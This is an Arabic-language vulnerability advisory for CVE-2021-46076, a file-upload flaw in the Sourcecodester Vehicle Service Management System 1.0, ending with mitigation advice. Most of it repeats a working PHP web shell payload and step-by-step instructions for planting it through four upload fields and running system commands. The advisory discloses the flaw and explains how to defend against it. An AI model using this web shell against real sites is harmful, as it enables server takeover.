CVE-2021-46076
عنوان الثغرة: نظام إدارة خدمات المركبات - تحميل ملفات متعدد يؤدي إلى تنفيذ الأكواد
CVE: CVE-2021-46076
CVSS: 8.8 عالية
المراجع:
الوصف:
نظام إدارة خدمات المركبات من Sourcecodester الإصدار 1.0 معرض لثغرة رفع الملفات. يمكن للمهاجم رفع ملف php خبيث في نقاط نهاية متعددة مما يؤدي إلى تنفيذ الأكواد.
1. نظام إدارة خدمات المركبات - 'حسابي' (/admin/?page=user)
الاستغلال:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم حسابي http://localhost/vehicle_service/admin/?page=user
الحمولة:
<?php system($_GET['cmd']);?>
- حفظ كود php أعلاه تحت اسم مثلاً: Cmd.php
- في قسم حسابي، أدخل جميع البيانات المطلوبة ثم تصفح ملف php في حقل الصورة الرمزية.
- انقر على زر التحديث.
- افتح الصورة الرمزية في علامة تبويب جديدة.
- أضف المعامل cmd في رابط URL ونفذ الأوامر.
- الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- نفذ جميع أوامر النظام مثلاً: id، whoami، pwd إلخ.
2. نظام إدارة خدمات المركبات - 'قائمة المستخدمين' (/admin/?page=user/manage_user)
الاستغلال:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم قائمة المستخدمين ثم النقر على زر إنشاء جديد.
الحمولة:
<?php system($_GET['cmd']);?>
- حفظ كود php أعلاه تحت اسم مثلاً: Cmd.php
- في صفحة إنشاء مستخدم جديد، أدخل جميع البيانات المطلوبة ثم تصفح ملف php في حقل الصورة الرمزية.
- انقر على زر حفظ.
- افتح الصورة الرمزية في علامة تبويب جديدة.
- أضف المعامل cmd في رابط URL ونفذ الأوامر.
- الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- نفذ جميع أوامر النظام مثلاً: id، whoami، pwd إلخ.
3. نظام إدارة خدمات المركبات - 'الإعدادات-شعار النظام' (/admin/?page=system_info)
الاستغلال:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة:
<?php system($_GET['cmd']);?>
- حفظ كود php أعلاه تحت اسم مثلاً: Cmd.php
- في قسم الإعدادات، أدخل جميع البيانات المطلوبة ثم تصفح ملف php في حقل شعار النظام.
- انقر على زر التحديث.
- افتح صورة شعار النظام في علامة تبويب جديدة.
- أضف المعامل cmd في رابط URL ونفذ الأوامر.
- الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- نفذ جميع أوامر النظام مثلاً: id، whoami، pwd إلخ.
4. نظام إدارة خدمات المركبات - 'الإعدادات-غلاف الموقع' (/admin/?page=system_info)
الاستغلال:
- تسجيل الدخول إلى لوحة الإدارة http://localhost/vehicle_service/admin
- الانتقال إلى قسم الإعدادات http://localhost/vehicle_service/admin/?page=system_info
الحمولة:
<?php system($_GET['cmd']);?>
- حفظ كود php أعلاه تحت اسم مثلاً: Cmd.php
- في قسم الإعدادات، أدخل جميع البيانات المطلوبة ثم تصفح ملف php في حقل غلاف الموقع.
- انقر على زر التحديث.
- افتح صورة غلاف الموقع في علامة تبويب جديدة.
- أضف المعامل cmd في رابط URL ونفذ الأوامر.
- الرابط النهائي: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- نفذ جميع أوامر النظام مثلاً: id، whoami، pwd إلخ.
التأثير:
يمكن للمهاجم رفع ملف php خبيث في نقاط نهاية متعددة مما يؤدي إلى تنفيذ الأكواد.
التخفيف:
يوصى بتنفيذ ما يلي:
- عدم قبول اسم الملف وامتداده مباشرة دون وجود مرشح قائمة بيضاء.
- إذا لم تكن هناك حاجة لأحرف Unicode، يُوصى بشدة بقبول الأحرف الأبجدية الرقمية ونقطة واحدة فقط كمدخل لاسم الملف والامتداد.
- تحديد حجم الملف إلى قيمة قصوى لمنع هجمات حجب الخدمة.
- يجب ألا يحتوي دليل التحميل على أي صلاحية "تنفيذ".
- لا تعتمد على التحقق من جانب العميل فقط.